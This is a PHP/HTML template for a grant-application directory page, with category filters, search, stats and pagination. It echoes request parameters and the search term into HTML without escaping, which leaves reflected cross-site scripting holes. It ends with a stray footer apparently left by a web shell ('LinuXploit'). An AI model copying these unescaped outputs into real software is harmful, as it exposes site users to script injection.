				<a href="/vx/usa/applications/" style="display:inline-block !important;"><div class="relative iblock glyphicons glyphicons-home f18 mobile_18" style="top:-4px;"></div></a>
				<a href="/vx/usa/applications/" style="display:inline-block !important;"><u>Home</u></a>
				<?php if(!empty($_REQUEST['ct'])) { ?>
					&rarr; <a href="/vx/usa/applications/?ct=<?= $_REQUEST['ct'];?>" style="display:inline-block !important;"><u><?= $main_cats[$_REQUEST['ct']]->category_name;?></u></a>
				<?php } ?>
				<?php if(!empty($_REQUEST['sct'])) { ?>
					&rarr; <a href="/vx/usa/applications/?ct=<?= $_REQUEST['ct'];?>&sct=<?= $_REQUEST['sct'];?>" style="display:inline-block !important;"><u><?= $sub_cats[$_REQUEST['ct']][$_REQUEST['sct']]->category_name;?></u></a>
				<?php } ?>
				<?php if(!empty($_REQUEST['ssct'])) { ?>
					&rarr; <a href="/vx/usa/applications/?ct=<?= $_REQUEST['ct'];?>&sct=<?= $_REQUEST['sct'];?>&ssct=<?= $_REQUEST['ssct'];?>" style="display:inline-block !important;"><u><?= $sub_subcats[$_REQUEST['sct']][$_REQUEST['ssct']]->category_name;?></u></a>
				<?php } ?>
			<?php } ?>
		</div>
	</div>
	<?php } ?>
	<?php if(!empty($_REQUEST['ct'])) { ?>
	<div class="rb" style="margin:10px 0px;">
		<table style="width:100%;">
			<tr>
				<td style="width:80px;vertical-align:bottom;">
					<div class="iconHolder">
						<div>
						<?php
							$category = $main_cats[$_REQUEST['ct']];
							if(strpos($category->icon,'fa-')!==false) {
								?><i class="<?= $category->icon;?>" style="<?= ($phone) ? 'font-size:58px;' : 'font-size:80px;';?>color:<?= $main_cats_color[$_REQUEST['ct']];?>;"></i><?php
							} elseif(strpos($category->icon,'glyphicons')!==false) {
								?><i class="glyphicons <?= $category->icon;?>" style="<?= ($phone) ? 'font-size:58px;' : 'font-size:80px;';?>color:<?= $main_cats_color[$_REQUEST['ct']];?>;"></i><?php
							} else {
								if(file_exists($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg')) {
									include($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg');
								}
							}
						?>
						</div>
					</div>
				</td>
				<td style="vertical-align:bottom;">
					<div style="margin-left:30px;">
						<h1 style="margin:0px;font-size:42px;"><?= $main_cats[$_REQUEST['ct']]->category_name;?></h1>
						<?php $has_title_description_res = $db->get_results("SELECT description FROM grdb.grant_categories_new_title_description WHERE cat_id='".$db->clean($_REQUEST['ct'])."'");
						if(!empty($has_title_description_res)) { ?>
						<p style="margin-top:10px;"><?= $has_title_description_res[0]->description;?></p>
						<?php } ?>
					</div>
				</td>
			</tr>
		</table>
	</div>
	<?php ob_start(); ?>
	<div>
		<div style="margin:20px 0px;border:1px solid #999;border-radius:10px;padding:10px;display:inline-block;">
			<div><strong style="font-size:18px;">FILTERS</strong></div>
			<form class="application_filter_form" method="GET" action="">
				<input type="hidden" name="page" value="<?= $page;?>" />
				<input type="hidden" class="form_hidden_filter" name="top" value="<?= $top_apps_only;?>" />
				<input type="hidden" class="form_hidden_filter" name="new" value="<?= $newest_apps_only;?>" />
				<input type="hidden" class="form_hidden_filter" name="fav" value="<?= $favorite_apps_only;?>" />
				<div class="row" style="margin:10px 0px;max-width:500px;">
					<div class="col-xs-3">
						<div style="padding:0px 2px;">
							<div style="width:100%;height:60px;border:1px solid #4c7a34;padding:10px;cursor:pointer;text-align:center;<?= ($all_apps_only) ? 'background:#4c7a34;color:white;' : 'background:white;color:#4c7a34;';?>" onclick="$('.form_hidden_filter').each(function() { $(this).val('0'); }); update_applications_search_filter(this); return false;">
								<div><i class="fas fa-money-bill-1 f24"></i></div>
								<div style="font-size:10px;">All Apps</div>
							</div>
						</div>
					</div>
					<div class="col-xs-3">
						<div style="padding:0px 2px;">
							<div style="width:100%;height:60px;border:1px solid #004f63;padding:10px;cursor:pointer;text-align:center;<?= ($top_apps_only) ? 'background:#004f63;color:white;' : 'background:white;color:#004f63;';?>" onclick="$('.form_hidden_filter').each(function() { $(this).val('0'); }); $('[name=top]').val('1'); update_applications_search_filter(this); return false;">
								<div><i class="fas fa-trophy f24"></i></div>
								<div style="font-size:10px;">Top Apps</div>
							</div>
						</div>
					</div>
					<div class="col-xs-3">
						<div style="padding:0px 2px;">
							<div style="width:100%;height:60px;border:1px solid goldenrod;padding:10px;cursor:pointer;text-align:center;<?= ($newest_apps_only) ? 'background:goldenrod;color:white;' : 'background:white;color:goldenrod;';?>" onclick="$('.form_hidden_filter').each(function() { $(this).val('0'); }); $('[name=new]').val('1'); update_applications_search_filter(this); return false;">
								<div><i class="fas fa-star f24"></i></div>
								<div style="font-size:10px;">New Apps</div>
							</div>
						</div>
					</div>
					<div class="col-xs-3">
						<div style="padding:0px 2px;">
							<div style="width:100%;height:60px;border:1px solid red;padding:10px;cursor:pointer;text-align:center;<?= ($favorite_apps_only) ? 'background:red;color:white;' : 'background:white;color:red;';?>" onclick="$('.form_hidden_filter').each(function() { $(this).val('0'); }); $('[name=fav]').val('1'); update_applications_search_filter(this); return false;">
								<div><i class="fas fa-heart f24"></i></div>
								<div style="font-size:10px;">Favorites</div>
							</div>
						</div>
					</div>
				</div>
				<div class="rib" style="display:none;">
					<select name="ct" class="nice-select category_list" onchange="update_applications_search_filter(this);">
						<option value="" data-display="Category">All</option>
						<?php foreach($main_cats as $r) { ?>
						<option value="<?= $r->id;?>" <?= ($r->id==$_REQUEST['ct']) ? 'selected' : '';?>><?= $r->category_name;?></option>
						<?php } ?>
					</select>
				</div>
				<?php if(!empty($_REQUEST['ct']) && !empty($sub_cats[$_REQUEST['ct']])) { ?>
				<div class="rib">
					<select name="sct" id="sct_select" class="nice-select subcategory_list" onchange="update_applications_search_filter(this);">
						<option value="" data-display="Sub Category">All</option>
						<?php foreach($sub_cats[$_REQUEST['ct']] as $r) { ?>
						<option value="<?= $r->id;?>" <?= ($r->id==$_REQUEST['sct']) ? 'selected' : '';?>><?= $r->category_name;?></option>
						<?php } ?>
					</select>
				</div>
				<?php } ?>
				<div class="mobile_break"></div>
				<?php if(!empty($_REQUEST['sct']) && !empty($sub_subcats[$_REQUEST['sct']])) { ?>
				<div class="rib">
					<select name="ssct" class="nice-select subsubcategory_list" onchange="update_applications_search_filter(this);">
						<option value="" data-display="Sub Category">All</option>
						<?php foreach($sub_subcats[$_REQUEST['sct']] as $r) { ?>
						<option value="<?= $r->id;?>" <?= ($r->id==$_REQUEST['ssct']) ? 'selected' : '';?>><?= $r->category_name;?></option>
						<?php } ?>
					</select>
				</div>
				<?php } ?>
				<div class="rib">
					<select name="state" class="nice-select state_list" onchange="update_applications_search_filter(this);">
						<option value="" data-display="State">All</option>
						<?php foreach($_STATES as $k=>$v) { if($k=='') { continue; } ?>
						<option value="<?= $k;?>" <?= ($_REQUEST['state']==$k) ? 'selected' : '';?>><?= $v;?></option>
						<?php } ?>
					</select>
				</div>
				<div class="rib">
					<select name="tpid" class="nice-select type_list" onchange="update_applications_search_filter(this);">
						<option value="" data-display="Type">All</option>
						<option value="1" <?= ($_REQUEST['tpid']=='1') ? 'selected' : '';?>>Grant</option>
						<option value="3" <?= ($_REQUEST['tpid']=='3') ? 'selected' : '';?>>Contract</option>
						<option value="4" <?= ($_REQUEST['tpid']=='4') ? 'selected' : '';?>>Investor</option>
						<option value="6" <?= ($_REQUEST['tpid']=='6') ? 'selected' : '';?>>Scholarship</option>
						<option value="2" <?= ($_REQUEST['tpid']=='2') ? 'selected' : '';?>>Loan</option>
						<option value="7" <?= ($_REQUEST['tpid']=='7') ? 'selected' : '';?>>Forgivable Loan</option>
						<option value="5" <?= ($_REQUEST['tpid']=='5') ? 'selected' : '';?>>Other</option>
					</select>
				</div>
				<?php if(!empty($_REQUEST['ct'])) { ?>
				<div class="rib">
					<select name="odr" class="nice-select order_by_list" onchange="update_applications_search_filter(this);">
						<option value="" data-display="Sort by">Default</option>
						<option value="deadline" <?= ($_REQUEST['odr']=='deadline') ? 'selected' : '';?>>Deadline</option>
						<option value="added" <?= ($_REQUEST['odr']=='added') ? 'selected' : '';?>>Date Added</option>
						<option value="amount" <?= ($_REQUEST['odr']=='amount') ? 'selected' : '';?>>Amount</option>
					</select>
				</div>
				<?php } ?>
				<?php if($phone && !empty($_REQUEST['state'])) { ?>
					<div class="mobile_break"></div>
					<input type="hidden" name="state_type" class="state_type_hidden_input" value="<?= (empty($_REQUEST['state_type'])) ? '' : $_REQUEST['state_type'];?>" />
					<div style="cursor:pointer;display:inline-block;vertical-align:middle;margin: 10px 0px 10px 10px;font-size:14px;padding:10px 0px;width: 140px;height:64px;<?= ($_REQUEST['state_type']=='o') ? 'border:2px solid #3b1d8f;background:#3b1d8f;color:white;' : 'border:2px solid #3b1d8f;background:white;color:#3b1d8f;';?>font-weight:bold;" onclick="$(this).parents('form:first').find('.state_type_hidden_input').val('o'); update_applications_search_filter(this);"><?= strtoupper($_STATES[$_REQUEST['state']]);?><br />Only</div>
					<div style="cursor:pointer;display:inline-block;vertical-align:middle;margin:10px;font-size: 14px;padding: 10px 0px;width: 140px;height:64px;<?= ($_REQUEST['state_type']!='o') ? 'border:2px solid #b70e0a;background:#b70e0a;color:white;' : 'border:2px solid #b70e0a;background:white;color:#b70e0a;';?>font-weight:bold;" onclick="$(this).parents('form:first').find('.state_type_hidden_input').val('a'); update_applications_search_filter(this);">NON-STATE-SPECIFIC Sources</div>
					<?php if($_REQUEST['state_type']=='o') { ?>
					<p style="font-size:10px;color:#b70e0a;font-style:italic;">***Be sure to click the "<strong>Non-State-Specific Sources</strong>" to check the available funding sources regardless of your state. Many funders give money to ALL States, so keep your search open.</p>
					<?php } ?>
					<div class="mobile_break"></div>
				<?php } ?>
				<div class="rib">
					<input type="text" id="searchKeyword" name="search" class="searchKeyword fleft" placeholder="Search by Keyword" value="<?= $_GET['search'];?>" style="border-color:rgba(0,0,0,0.2);border-top-left-radius:20px;border-bottom-left-radius:20px;" />
					<button type="submit" name="submit" value="submit" class="fleft white-bg bborder tborder rborder searchButton" style="margin:0px 0px 0px -1px;border-top-right-radius:20px;border-bottom-right-radius:20px;" onclick="show_loading_filters();"><i class="glyphicons glyphicons-search f18"></i></button>
				</div>
				<?php if(!$phone && !empty($_REQUEST['state'])) { ?>
					<center>
						<div style="width:500px;">
							<input type="hidden" name="state_type" class="state_type_hidden_input" value="<?= (empty($_REQUEST['state_type'])) ? '' : $_REQUEST['state_type'];?>" />
							<div style="cursor:pointer;display:inline-block;vertical-align:middle;margin: 10px 0px 10px 10px;font-size:14px;padding:10px 0px;width: 140px;height:64px;<?= ($_REQUEST['state_type']=='o') ? 'border:2px solid #3b1d8f;background:#3b1d8f;color:white;' : 'border:2px solid #3b1d8f;background:white;color:#3b1d8f;';?>font-weight:bold;" onclick="$(this).parents('form:first').find('.state_type_hidden_input').val('o'); update_applications_search_filter(this);"><?= strtoupper($_STATES[$_REQUEST['state']]);?><br />Only</div>
							<div style="cursor:pointer;display:inline-block;vertical-align:middle;margin:10px;font-size: 14px;padding: 10px 0px;width: 140px;height:64px;<?= ($_REQUEST['state_type']!='o') ? 'border:2px solid #b70e0a;background:#b70e0a;color:white;' : 'border:2px solid #b70e0a;background:white;color:#b70e0a;';?>font-weight:bold;" onclick="$(this).parents('form:first').find('.state_type_hidden_input').val('a'); update_applications_search_filter(this);">NON-STATE-SPECIFIC Sources</div>
							<?php if($_REQUEST['state_type']=='o') { ?>
							<p style="font-size:12px;color:#b70e0a;font-style:italic;">***Be sure to click the "<strong>Non-State-Specific Sources</strong>" to check the available funding sources regardless of your state. Many funders give money to ALL States, so keep your search open.</p>
							<?php } ?>
						</div>
					</center>
				<?php } ?>
			</form>
		</div>
	</div>
	<?php $search_form = ob_get_clean();
		echo $search_form;?>
	<?php } ?>
	<div style="clear:both;"></div>
	<?php if(empty($_SESSION['subscriptions'][2])) {?>
	<center style="font-size:14px;">
		We have added <strong><?= $last_30_days;?></strong> grants to our database in the last 30 days. Click <a href="/vx/usa/subscribe/">here</a> to upgrade your account to VIP and get access to the newest grant applications.
	</center>
	<?php } ?>
	<?php if(!empty($_REQUEST['ct'])) {
		if(!empty($main_cats[$_REQUEST['ct']])) {
			if($main_cats[$_REQUEST['ct']]->category_name=='Business') { ?>
			<div class="section_box" id="professional_funding_services_box" style="width:90%;max-width:660px;">
				<a href="/vx/usa/professional-grant-services/?autoplay=1" class="section_box_link">
					<div class="section_header sicon">Professional Services for Business Funding</div>
					<p>Professional Services are available for those looking for money for business, non-profit organizations, community assistance, and real estate projects.</p>
					<div class="video">
						<img src="https://surfcrm.com/training_calls/videos/usa_professional_services_thumb.png" />
						<div id="play_button"><span class="glyphicons glyphicons-play glyphicons-fw f64"></span></div>
					</div>
				</a>
			</div>
			<script type="text/javascript">
				$('document').ready(function() {
					window.setTimeout(function() {
						$('#play_button').css('left',$('#professional_funding_services_box .video').width()/2 - $('#play_button').width()/2 - 10);
						$('#play_button').css('top',$('#professional_funding_services_box .video').height()/2 - $('#play_button').height()/2 - 10);
					},1000);
				});
			</script>
		<?php }
		}
	} ?>
	<?php if(empty($newest_apps_only) && !empty($popular_list)) {
		include($_SERVER['DOCUMENT_ROOT'].'/vx/usa/applications/popular_grants.php');
	} ?>
	<div style="clear:both;"></div>
	<?php if(empty($grant_list) && (empty($top_apps_only) || empty($_REQUEST['ct']))) { ?>
	<?php if(!empty($_REQUEST['search'])) { ?>
		<center><h3 style="color:#cc3333;">No grants matched your search criteria.</h3></center>
	<?php } ?>
	<!-- Funding Categories Section -->
	<section class="space-y-8">
		<div class="stats-overview">
			<div class="stats-grid">
				<div class="stat-box">
					<div class="stat-number" style="color: #8b5cf6;"><?= number_format($last_7_days);?></div>
					<div class="stat-label">Applications Added<br>Last 7 Days</div>
				</div>
				<div class="stat-box">
					<div class="stat-number" style="color: #f59e0b;"><?= number_format($last_30_days);?></div>
					<div class="stat-label">Applications Added<br>Last 30 Days</div>
				</div>
				<div class="stat-box">
					<div class="stat-number" style="color: #10b981;"><?= number_format($last_90_days);?></div>
					<div class="stat-label">Applications Added<br>Last 90 Days</div>
				</div>
				<div class="stat-box">
					<div class="stat-number" style="color: #f59e0b;">$<?= number_format($all_grants_money/1000000000, 1);?>B+</div>
					<div class="stat-label">Total Database</div>
				</div>
			</div>
			
			<div class="categories-grid">
				<?php 
				//$cat_colors = array('#8b5cf6', '#3b82f6', '#10b981', '#f59e0b', '#ef4444', '#ec4899', '#06b6d4', '#84cc16', '#f97316', '#6366f1');
				$cat_color_id = -1;
				foreach($main_cats as $category) { 
					$cat_color_id++;
					if($cat_color_id >= count($cat_colors)) {
						$cat_color_id = 0;
					}
					if(empty($_SERVER['QUERY_STRING'])) {
						$new_link = '/vx/usa/applications/?page=1&ct='.$category->id;
					} else {
						$new_link = '/vx/usa/applications/?page=1&ct='.$category->id;
						if(strpos($_SERVER['QUERY_STRING'],'top=1')!==false) {
							$new_link .= '&top=1';
						} elseif(strpos($_SERVER['QUERY_STRING'],'new=1')!==false) {
							$new_link .= '&new=1';
						}
					}
				?>
				<a href="<?= $new_link;?>" class="category-card">
					<div class="category-icon" style="color: <?= $cat_colors[$cat_color_id]; ?>;">
						<?php
						// Use the same icon logic as the original index.php
						if(strpos($category->icon,'fa-')!==false) {
							?><i class="<?= $category->icon;?>" style="font-size:42px;color:<?= $cat_colors[$cat_color_id];?>;"></i><?php
						} elseif(strpos($category->icon,'glyphicons')!==false) {
							?><i class="glyphicons <?= $category->icon;?>" style="font-size:42px;color:<?= $cat_colors[$cat_color_id];?>;"></i><?php
						} else {
							if(file_exists($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg')) {
								include($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg');
							} else {
								// Fallback icon
								?><svg fill="none" stroke="currentColor" viewBox="0 0 24 24" style="width: 40px; height: 40px;">
									<circle cx="12" cy="12" r="10"></circle>
									<path d="M12 2v2M12 20v2M4.93 4.93l1.41 1.41M17.66 17.66l1.41 1.41M2 12h2M20 12h2M6.34 6.34l-1.41 1.41M19.07 19.07l-1.41 1.41"></path>
								</svg><?php
							}
						}
						?>
					</div>
					<div style="font-weight: 600; margin-bottom: 0.25rem;"><?= $category->category_name;?></div>
					<div style="font-size: 0.875rem; color: #6b7280;">(<?= number_format($category->count);?> applications)</div>
				</a>
				<?php } ?>
			</div>
		</div>
	</section>
	<?php /*
	<div class="category_box">
		<?php
		$cat_colors = array('#5C5CFF','#95AAEF','#ADCDFF','#DADCD1','#FFDE85','#FECA72','#FCBA73','#FE9686','#FF7096','#FF5C8A');
		$cat_color_id = -1;
		foreach($main_cats as $category) {
			$cat_color_id++;
			if($cat_color_id >= count($cat_colors)) {
				$cat_color_id = 0;
			}
			if(empty($_SERVER['QUERY_STRING'])) {
				$new_link = '/vx/usa/applications/?page=1&ct='.$category->id;
			} else {
				$new_link = '/vx/usa/applications/?page=1&ct='.$category->id;
				if(strpos($_SERVER['QUERY_STRING'],'top=1')!==false) {
					$new_link .= '&top=1';
				} elseif(strpos($_SERVER['QUERY_STRING'],'new=1')!==false) {
					$new_link .= '&new=1';
				}
			}
		?>
		<?php if($phone) { ?>
			<div style="width:160px;height:55px;margin-bottom:10px;display:inline-block;vertical-align:middle;border:1px solid black;border-radius:10px;<?= (strlen($category->category_name) >= 16) ? 'padding:10px;' : 'padding:15px 10px 10px 10px;';?>" onclick="show_loading_filters(); window.setTimeout(function() { window.location = '<?= $new_link;?>'; },50);">
				<?php
					if(strpos($category->icon,'fa-')!==false) {
						?><i class="<?= $category->icon;?>" style="vertical-align:middle;font-size:28px;color:<?= $cat_colors[$cat_color_id];?>;"></i><?php
					} elseif(strpos($category->icon,'glyphicons')!==false) {
						?><i class="glyphicons <?= $category->icon;?>" style="vertical-align:middle;font-size:28px;color:<?= $cat_colors[$cat_color_id];?>;"></i><?php
					} else {
						if(file_exists($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg')) {
							include($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg');
						}
					}
				?>
				<div class="text <?= (strlen($category->category_name) >= 11) ? 'long_category_text' : '';?>" style="width:95px;font-size:18px;display:inline-block;vertical-align:middle;">
					<?= $category->category_name;?>
				</div>
			</div>
		<?php } else { ?>
			<div class="iconItem top" onclick="show_loading_filters(); window.setTimeout(function() { window.location = '<?= $new_link;?>'; },50);">
				<div class="aib" style="top:0px; right:0px;">
				</div>
				<div class="rb top">
					<table style="width:100%; height:100%">
						<tr>
							<td class="iconCell">
								<div class="iconHolder">
									<div>
									<?php
										if(strpos($category->icon,'fa-')!==false) {
											?><i class="<?= $category->icon;?>" style="<?= ($phone) ? 'font-size:58px;' : 'font-size:42px;';?>color:<?= $cat_colors[$cat_color_id];?>;"></i><?php
										} elseif(strpos($category->icon,'glyphicons')!==false) {
											?><i class="glyphicons <?= $category->icon;?>" style="<?= ($phone) ? 'font-size:58px;' : 'font-size:42px;';?>color:<?= $cat_colors[$cat_color_id];?>;"></i><?php
										} else {
											if(file_exists($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg')) {
												include($_SERVER['DOCUMENT_ROOT'].'/vx/svgs/'.$category->icon.'.svg');
											}
										}
									?>
									</div>
								</div>
							</td>
						</tr>
						<tr>
							<td class="displayText">
								<div class="text <?= (strlen($category->category_name) > 14) ? 'long_category_text' : '';?>">
									<?= $category->category_name;?> <span class="f10 italic normal">(<?= number_format($category->count);?>)</span>
								</div>
							</td>
						</tr>
					</table>
				</div>
			</div>
		<?php } ?>
		<?php } ?>
	</div>
	*/ ?>
	<?php } else { ?>
		<?php if(!empty($_REQUEST['no_cat'])) { ?>
			<center><h3 style="color:#cc3333;">No grants matched your search criteria in that category. These matched your search outside of that category.</h3></center>
		<?php } ?>
	<?php } ?>
	<div id="search_form" style="margin:10px 0px;">
		<div style="margin:0px 0px 20px 0px;border-bottom:1px solid black;">
			<span style="font-size:30px;font-family:Helvetica;font-weight:bold;color:#004e63;">ALL Funding Sources<?= (!empty($subcat_pretty_name)) ? ' for '.$subcat_pretty_name : ' for '.$main_category_name;?></span>
		</div>
	</div>
	<div style="clear:both;"></div>
	<?= (empty($newest_apps_only) && empty($top_apps_only) && !empty($popular_list)) ? $search_form : '';?>
	<?php if(empty($top_apps_only)) { ?>
		<?php if(!empty($limit)) { ?>
		<div class="paging">
			<center>
				<h3><?= paging_title($page,$total_count,$per_page);?> of <?= number_format($total_count);?></h3>
				<button onclick="grant_list_change_page('1'); return false;" title="<?= paging_title(1,$total_count,$per_page);?>">&lt;&lt;</button>
				<button onclick="grant_list_change_page('<?= $page-1;?>'); return false;" title="<?= paging_title($page-1,$total_count,$per_page);?>">&lt;</button>
				<?php for($i=$page-5;$i<$page+5;$i++) {
					if($i>=1 && $i<=$max_page) { ?>
				<button onclick="grant_list_change_page('<?= $i;?>'); return false;" <?= ($i==$page) ? 'class="selected_page"' : '';?> title="<?= paging_title($i,$total_count,$per_page);?>"><?= $i;?></button>
					<?php } ?>
				<?php } ?>
				<button onclick="grant_list_change_page('<?= $page+1;?>'); return false;" title="<?= paging_title($page+1,$total_count,$per_page);?>">&gt;</button>
				<button onclick="grant_list_change_page('<?= $max_page;?>'); return false;" title="<?= paging_title($max_page,$total_count,$per_page);?>">&gt;&gt;</button>
			</center>
		</div>
		<?php } ?>
		<div id="grantList">
			<?php if($phone) {
				include($_SERVER['DOCUMENT_ROOT'].'/vx/usa/layout/inc/non_angular_grant_list_mobile.php');
			} else {
				include($_SERVER['DOCUMENT_ROOT'].'/vx/usa/layout/inc/non_angular_grant_list.php');
			} ?>
		</div>
		<?php
		if(!empty($limit)) {
		?>
		<div class="paging">
			<center>
				<h3><?= paging_title($page,$total_count,$per_page);?> of <?= number_format($total_count);?></h3>
				<button onclick="grant_list_change_page('1'); return false;" title="<?= paging_title(1,$total_count,$per_page);?>">&lt;&lt;</button>
				<button onclick="grant_list_change_page('<?= $page-1;?>'); return false;" title="<?= paging_title($page-1,$total_count,$per_page);?>">&lt;</button>
				<?php for($i=$page-5;$i<$page+5;$i++) {
					if($i>=1 && $i<=$max_page) { ?>
				<button onclick="grant_list_change_page('<?= $i;?>'); return false;" <?= ($i==$page) ? 'class="selected_page"' : '';?> title="<?= paging_title($i,$total_count,$per_page);?>"><?= $i;?></button>
					<?php } ?>
				<?php } ?>
				<button onclick="grant_list_change_page('<?= $page+1;?>'); return false;" title="<?= paging_title($page+1,$total_count,$per_page);?>">&gt;</button>
				<button onclick="grant_list_change_page('<?= $max_page;?>'); return false;" title="<?= paging_title($max_page,$total_count,$per_page);?>">&gt;&gt;</button>
			</center>
		</div>
		<?php } ?>
	<?php } ?>
</div>
<?php
	$body = ob_get_clean();
	if(!empty($newest_apps_only)) {
		$title = "Newest Applications: ".$_SESSION['site_name'];
	} elseif($top_apps_only) {
		$title = "Top Applications: ".$_SESSION['site_name'];
	} else {
		$title = "All Applications: ".$_SESSION['site_name'];
	}
	include($_SERVER['DOCUMENT_ROOT'].'/vx/usa/layout/non_angular_layout.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit